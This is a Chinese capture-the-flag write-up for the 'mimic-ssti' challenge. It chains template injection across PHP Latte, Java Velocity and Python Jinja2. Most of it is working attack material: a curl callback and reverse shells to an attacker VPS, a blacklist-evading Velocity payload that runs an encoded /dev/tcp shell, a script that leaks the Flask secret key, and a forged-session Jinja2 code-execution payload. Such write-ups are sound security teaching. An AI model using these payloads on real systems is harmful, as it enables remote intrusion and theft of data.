拟态web---mimic-ssti

介绍

本文内容来自于ichunqiu的伽玛实验场之拟态挑战mimic-ssti,借鉴邬江兴院士拟态防御理论设计的mimic-ssti题目,该题目是个考验模板注入的web环境,采用了3种渲染模板,代表了三种单异构体。一般黑客的攻击指令只会由一个异构体进行执行反馈,明确的攻击指令会有明确的反馈结果,但是在这道题中选手的攻击指令必须同时让3个异构体反馈一致的结果,不然在拟态的防御机制中,就会被表决失效。通过这样的设计,让大学生选手了解先进的防御理念,前沿的理论知识和应用场景,以便让更好的防御理念在未来的实战中得到应用。

类似于生物界的拟态防御,在网络空间防御领域中,使用拟态技术可极大的提升黑客攻击的难度。

本题采用了3种模板渲染,渲染的先后顺序分别是php、java、python,如果三者的渲染结果相同就返回内容。(php的模板渲染是latte-2.10.4,java的模板渲染是velocity 1.7,python版本为python3.6.9。)

  • 参考原writeup【拟态挑战WP】2021年天津市大学生线上初赛mimic-ssti,原writeup步骤不完整,故重新补充记录

Exploitation

mimic指的是“拟态”,ssti指的是“服务端模板注入攻击”。再由题目描述可知,应该是要利用三种编程语言的模板特性进行利用。

接下来我们分别尝试3个语言的SSTI的漏洞利用,当试到PHP的ssti payload时,发现可以直接把数据外带

1
2
3
4
5
6
7
8
9
10
11
12
GET /?username={system("curl+http%3a//vpsip%3a2333/")} HTTP/1.1

root@vsdfva:~# nc -lvp 2333
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 39.105.23.123.
Ncat: Connection from 39.105.23.123:26634.
GET / HTTP/1.1
Host: vpsip:2333
User-Agent: curl/7.58.0
Accept: */*

所以我们就可以利用PHP模板渲染这里作为突破口,先反弹一个shell,发现根目录下面有三个flag(只有三个flag都获取到,才可以拼接出完整的flag),当然我们现在就只能读取php_flag

首先创建一个python reverse shell脚本文件rev.py,放在自己的vps上

1
python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('vpsip',2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

然后在vps上开启一个SimpleHTTPServer服务

1
python -m SimpleHTTPServer 81

然后执行下面三个请求反弹shell到自己的vps上

1
2
3
?username={system('curl -L http://vpsip:81/rev.py -o /tmp/rev.py')}
?username={system('chmod 777 /tmp/rev.py')}
?username={system('/tmp/rev.py')}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@vsdfva:~# nc -lvp 2333
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 39.105.23.123.
Ncat: Connection from 39.105.23.123:33464.
bash: cannot set terminal process group (23): Inappropriate ioctl for device
bash: no job control in this shell
php@engine-1:/web/php$ id
id
uid=1000(php) gid=1000(php) groups=1000(php)
php@engine-1:/web/php$ whoami
whoami
php
php@engine-1:/web/php$ cd
cd
php@engine-1:/$ ls
ls
bin
boot
dev
etc
home
java_flag
lib
lib64
media
mnt
opt
php_flag
proc
python_flag
root
run
sbin
srv
sys
tmp
usr
var
web
php@engine-1:/$ cat php_flag
cat php_flag
flag{bae9466f-

成功获取到第一个php flag

剩下的目标就是确定其他两个模板了,先从Java下手,把jar文件下载下来

由于Python的运行目录是没有权限写入的(不能通过复制到静态目录进行下载),所以现在有多个思路,第一个思路是socket代理进去,在php的目录写入一句话木马,蚁剑就可以直接下载了,思路二则是通过curl 命令的文件上传把数据带出来。当然也可以利用php、python和java来进行文件传输。以下采用思路二的方式:

1
2
import os
os.system("scp /web/java/Hello_web.jar root@vps:PATH")

然后通过Java的反汇编工具jd-gui打开即可,发现了黑名单,然后针对黑名单进行绕过

了解更多Java Velocity SSTI,参考下列文章,讲的很详细:

  • CVE-2019-3396 Confluence Velocity SSTI漏洞浅析

以下[IP]填入自己VPS的IP以接收shell

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[~]
└─# echo YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx |base64 -d
bash -i >&/dev/tcp/[IP]/2334 0>&1

#set($e="e")
#set($j="jav")
#set($a="a.lang.Ru")
#set($R="ntime")
#set($g="getR")
#set($t="untime")
$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}")

上述绕过的payload由以下的原始payload变形而来

1
2
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

然后url encode,再使用%0a添加换行符之后,变为下述的payload,然后放入burp中发包

1
%23set($e%3d"e")%0a%23set($j%3d"jav")%0a%23set($a%3d"a.lang.Ru")%0a%23set($R%3d"ntime")%0a%23set($g%3d"getR")%0a%23set($t%3d"untime")%0a$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash+-c+{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}")
1
GET /?username=%23set($e%3d"e")%0a%23set($j%3d"jav")%0a%23set($a%3d"a.lang.Ru")%0a%23set($R%3d"ntime")%0a%23set($g%3d"getR")%0a%23set($t%3d"untime")%0a$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash+-c+{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}") HTTP/1.1

然后vps接收到一个java权限的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@vsdfva:~# nc -lvp 2335
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::2335
Ncat: Listening on 0.0.0.0:2335
Ncat: Connection from 39.105.23.123.
Ncat: Connection from 39.105.23.123:5189.
bash: cannot set terminal process group (20): Inappropriate ioctl for device
bash: no job control in this shell
java@engine-1:/web/java$ id
id
uid=1001(java) gid=1001(java) groups=1001(java)
java@engine-1:/web/java$ whoami
whoami
java
java@engine-1:/web/java$ cd
cd
java@engine-1:/$ ls
ls
bin
boot
dev
etc
home
java_flag
lib
lib64
media
mnt
opt
php_flag
proc
python_flag
root
run
sbin
srv
sys
tmp
usr
var
web
java@engine-1:/$ cat java_flag
cat java_flag
-286016a38d37}

并获取到java flag

然后读取app.py,可以发现SECRET_KEY是随机的(所以需要想办法得到它),而且过滤了数字和字符串拼接,不能拼接字符串,那就只有得到完整的字符串才能ssti,所以可以利用伪造session来进行构造任意字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
php@engine-1:/web/python$ cat app.py
cat app.py
from flask import Flask, render_template, request, render_template_string
import requests
import uuid

app = Flask(__name__)
SECRET_KEY = str(uuid.uuid4())[:12]
numbers_str = [str(x) for x in range(10)]
black_list = ["class", "__", "'", "\"", "~", "+", "globals", "request", "{%", "true", "false", 'lipsum', 'url_for',
'get_flashed_messages', 'range', 'dict', 'joiner']
black_list += numbers_str

app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))


def waf(name):
for x in black_list:
if x in name.lower():
return True
return False


@app.route('/')
def index():
name = request.args.get("username")
if name is not None:
text1 = requests.get("http://127.0.0.1:7410/", params={"username": name}).text
text2 = requests.get("http://127.0.0.1:8080/", params={"username": name}).text
if waf(name):
return render_template('404.html'), 404
render_str = render_template_string(name)
if text1 == render_str and text2 == render_str:
return render_str
else:
return render_template('404.html'), 404
render_str = render_template_string(name)
return render_str
return render_template('index.html')


@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404


if __name__ == '__main__':
app.run("0.0.0.0", 8888)

数字可以通过config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)和config.JSON_SORT_KEYS进行加减运算得到数字,因为python里面True-False这种得到的结果是1

1
2
3
4
5
6
7
8
9
┌──(root💀kali)-[~]
└─# python3
Python 3.9.9 (main, Dec 16 2021, 23:13:29)
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> True - False
1
>>> 14 - True
13

现在第一步就是通过类似“测信道”攻击的方式,读取flask的key,从而伪造session,所以我们可以通过伪造php和java的服务端来一个个字符的比较得到最终的key

  • leak.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//leak.php
if(!is_file("tmp_code")){
file_put_contents("tmp_code","-");
}
$code="-0123456789abcdef";
if(strpos($_GET["username"],'code') !== false){
file_put_contents("code",$_GET["username"][0],FILE_APPEND);
file_put_contents("tmp_code","-");
}else{
$tmp_code = file_get_contents("tmp_code");
echo $tmp_code;
file_put_contents("tmp_code",$code[(strpos($code,$tmp_code)+1)%17]);
}
?>
  • leak.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
#leak.py
url="http://127.0.0.1:8888/"
code="-0123456789abcdef"
f=""
for x in range(12):
cut = (11-x)*'-config.JSON_SORT_KEYS'
leak_temp = "{{config.SECRET_KEY[config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)"+cut+"]}}"
for y in code:
text=requests.get(url,params={"username":leak_temp}).text
#print(text)
if ">404<" in text:
pass
else:
requests.get(url,params={"username":y+"code"})
f+=y
print(f)
break

首先kill原来的进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
php@engine-1:/$ ps -ef
ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 06:10 pts/0 00:00:00 /bin/bash /start.sh
root 14 1 0 06:10 pts/0 00:00:00 /bin/bash /start.sh
root 15 1 0 06:10 pts/0 00:00:00 /bin/bash /start.sh
root 16 1 0 06:10 pts/0 00:00:00 su - java -c cd /web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar
root 17 1 0 06:10 pts/0 00:00:00 tail -f /dev/null
root 18 15 0 06:10 pts/0 00:00:00 su - python -c python3 /web/python/app.py
root 19 14 0 06:10 pts/0 00:00:00 su - php -c cd /web/php/ && php -S 0.0.0.0:7410
java 20 16 0 06:10 ? 00:00:00 -su -c cd /web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar
python 21 18 0 06:10 ? 00:00:00 -su -c python3 /web/python/app.py
php 22 19 0 06:10 ? 00:00:00 -su -c cd /web/php/ && php -S 0.0.0.0:7410
python 29 21 0 06:10 ? 00:00:00 python3 /web/python/app.py
java 30 20 0 06:10 ? 00:00:09 /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar
php 31 22 0 06:10 ? 00:00:00 php -S 0.0.0.0:7410
java 109 30 0 06:11 ? 00:00:00 bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjEzOS4yMzYvMjMzNSAwPiYx}|{base64,-d}|{bash,-i}
java 112 109 0 06:11 ? 00:00:00 bash -i
java 115 112 0 06:11 ? 00:00:00 /bin/bash -i
php 184 31 0 06:15 ? 00:00:00 sh -c /tmp/rev.py
php 185 184 0 06:15 ? 00:00:00 /bin/sh /tmp/rev.py
php 186 185 0 06:15 ? 00:00:00 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('vpsip',2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
php 187 186 0 06:15 ? 00:00:00 /bin/bash -i
php 199 187 0 06:25 ? 00:00:00 ps -ef
php@engine-1:/$ kill 31
kill 31

然后再退出php的shell,不然后面7410端口监听不上,再kill掉8080端口的2个/web/java/ && /web/java/jdk1.8.0_202/bin/java -jar /web/java/Hello_web.jar服务

然后把php文件写入到tmp下面,然后运行7410和8080的php的web服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
java@engine-1:/tmp$ mkdir leakp
mkdir leakp
java@engine-1:/tmp$ cd leakp
cd leakp
java@engine-1:/tmp/leakp$ echo PD9waHAKLy9sZWFrLnBocAppZighaXNfZmlsZSgidG1wX2NvZGUiKSl7CiAgIGZpbGVfcHV0X2NvbnRlbnRzKCJ0bXBfY29kZSIsIi0iKTsKfQokY29kZT0iLTAxMjM0NTY3ODlhYmNkZWYiOwppZihzdHJwb3MoJF9HRVRbInVzZXJuYW1lIl0sJ2NvZGUnKSAhPT0gZmFsc2UpewogICBmaWxlX3B1dF9jb250ZW50cygiY29kZSIsJF9HRVRbInVzZXJuYW1lIl1bMF0sRklMRV9BUFBFTkQpOwogICBmaWxlX3B1dF9jb250ZW50cygidG1wX2NvZGUiLCItIik7Cn1lbHNlewogICAkdG1wX2NvZGUgPSBmaWxlX2dldF9jb250ZW50cygidG1wX2NvZGUiKTsKICAgZWNobyAkdG1wX2NvZGU7CiAgIGZpbGVfcHV0X2NvbnRlbnRzKCJ0bXBfY29kZSIsJGNvZGVbKHN0cnBvcygkY29kZSwkdG1wX2NvZGUpKzEpJTE3XSk7Cn0KPz4=|base64 -d > index.php
TE3XSk7Cn0KPz4=|base64 -d > index.phpNvZGVbKHN0cnBvcygkY29kZSwkdG1wX2NvZGUpKzEpJT
java@engine-1:/tmp/leakp$ mkdir leak
mkdir leak
java@engine-1:/tmp/leakp$ cp index.php leak/
cp index.php leak/
java@engine-1:/tmp/leakp$ php -S 0.0.0.0:7410 &
php -S 0.0.0.0:7410 &
[1] 161
java@engine-1:/tmp/leakp$ cd leak
cd leak
java@engine-1:/tmp/leakp/leak$ php -S 0.0.0.0:8080 &
php -S 0.0.0.0:8080 &
[2] 162

在java的shell中运行leak.py得到key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
java@engine-1:/tmp$ echo aW1wb3J0IHJlcXVlc3RzCmltcG9ydCB0aW1lCgojbGVhay5weQp1cmw9Imh0dHA6Ly8xMjcuMC4wLjE6ODg4OC8iCmNvZGU9Ii0wMTIzNDU2Nzg5YWJjZGVmIgpmPSIiCgpmb3IgeCBpbiByYW5nZSgxMik6CiAgICBjdXQgPSAoMTEteCkqJy1jb25maWcuSlNPTl9TT1JUX0tFWVMnCiAgICBsZWFrX3RlbXAgPSAie3tjb25maWcuU0VDUkVUX0tFWVtjb25maWcuSlNPTklGWV9NSU1FVFlQRS5pbmRleChjb25maWcuQVBQTElDQVRJT05fUk9PVCkiK2N1dCsiXX19IgogICAgZm9yIHkgaW4gY29kZToKICAgICAgICAjdGltZS5zbGVlcCgyKQogICAgICAgIHRleHQ9cmVxdWVzdHMuZ2V0KHVybCxwYXJhbXM9eyJ1c2VybmFtZSI6bGVha190ZW1wfSx2ZXJpZnk9RmFsc2UpLnRleHQKICAgICAgICAjcHJpbnQodGV4dCkKICAgICAgICBpZiAiPjQwNDwiIGluIHRleHQ6CiAgICAgICAgICAgIHBhc3MKICAgICAgICBlbHNlOgogICAgICAgICAgICAjdGltZS5zbGVlcCgwLjAxKQogICAgICAgICAgICByZXF1ZXN0cy5nZXQodXJsLHBhcmFtcz17InVzZXJuYW1lIjp5KyJjb2RlIn0sdmVyaWZ5PUZhbHNlKQogICAgICAgICAgICBmKz15CiAgICAgICAgICAgIHByaW50KGYpCiAgICAgICAgICAgIGJyZWFr|base64 -d > leak.py
5CiAgICAgICAgICAgIHByaW50KGYpCiAgICAgICAgICAgIGJyZWFr|base64 -d > leak.pyICBmKz15
java@engine-1:/tmp$ python3 leak.py
0
05
05a
05a8
05a89
05a894
05a8942
05a89427
05a89427-
05a89427-b
05a89427-b1
05a89427-b16

然后在java的shell中,写脚本伪造session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import base64
import pickle

app = Flask(__name__)
app.secret_key = "05a89427-b16"

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

def index():
a={"cs":"__class__","bs":"__base__","sub":"__subclasses__","num":190,"it":"__init__","gb":"__globals__","bt":"__builtins__","el":"eval","cmd":"__import__('os').popen('cat /python_flag > /tmp/python_flag').read()"}
print(session_serializer.dumps(a))

index()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
java@engine-1:/tmp$ echo ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sKZnJvbSBmbGFzay5zZXNzaW9ucyBpbXBvcnQgU2VjdXJlQ29va2llU2Vzc2lvbkludGVyZmFjZQppbXBvcnQgYmFzZTY0CmltcG9ydCBwaWNrbGUKCmFwcCA9IEZsYXNrKF9fbmFtZV9fKQphcHAuc2VjcmV0X2tleSA9ICIwNWE4OTQyNy1iMTYiCgpzZXNzaW9uX3NlcmlhbGl6ZXIgPSBTZWN1cmVDb29raWVTZXNzaW9uSW50ZXJmYWNlKCkuZ2V0X3NpZ25pbmdfc2VyaWFsaXplcihhcHApCgpkZWYgaW5kZXgoKToKICAgYT17ImNzIjoiX19jbGFzc19fIiwiYnMiOiJfX2Jhc2VfXyIsInN1YiI6Il9fc3ViY2xhc3Nlc19fIiwibnVtIjoxOTAsIml0IjoiX19pbml0X18iLCJnYiI6Il9fZ2xvYmFsc19fIiwiYnQiOiJfX2J1aWx0aW5zX18iLCJlbCI6ImV2YWwiLCJjbWQiOiJfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdjYXQgL3B5dGhvbl9mbGFnID4gL3RtcC9weXRob25fZmxhZycpLnJlYWQoKSJ9CiAgIHByaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=|base64 -d > sessions.py
=|base64 -d > sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=
java@engine-1:/tmp$ python3 sessions.py
.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw
java@engine-1:/tmp$ ls
ls
hsperfdata_java
leak.py
leak.pyICBmKz15
leakp
rev.py
sessions.py
sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=
tomcat.6008644274358516175.8080

然后在请求头中添加session

1
Cookie: session=.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw

构造python的poc后,使用burp发包

1
{{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}
1
2
3
4
5
6
7
8
9
10
GET /?username={{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}} HTTP/1.1
Host: eci-2ze1odj66lcxmtnazvds.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://eci-2ze1odj66lcxmtnazvds.cloudeci1.ichunqiu.com:8888/
Cookie: session=.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw
Upgrade-Insecure-Requests: 1

现在可以通过java的shell读取python_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
java@engine-1:/tmp$ ls -la
ls -la
total 36
drwxrwxrwt 1 root root 4096 Jan 17 06:58 .
drwxr-xr-x 1 root root 4096 Jan 17 06:30 ..
drwxr-xr-x 2 java java 4096 Jan 17 06:36 hsperfdata_java
-rwxrwxrwx 1 java java 621 Jan 17 06:49 leak.py
-rw-rw-r-- 1 java java 0 Jan 17 06:46 leak.pyICBmKz15
drwxrwxr-x 3 java java 4096 Jan 17 06:46 leakp
-rw-rw-r-- 1 python python 15 Jan 17 06:58 python_flag
-rwxrwxrwx 1 php php 233 Jan 17 06:32 rev.py
-rw-rw-r-- 1 java java 521 Jan 17 06:54 sessions.py
-rw-rw-r-- 1 java java 0 Jan 17 06:53 sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk=
drwxrwxr-x 3 java java 4096 Jan 17 06:31 tomcat.6008644274358516175.8080
java@engine-1:/tmp$ cat python_flag
cat python_flag
480b-45a9-9e51

将三个flag拼接起来可以得到最后的flag

1
flag{bae9466f-480b-45a9-9e51-286016a38d37}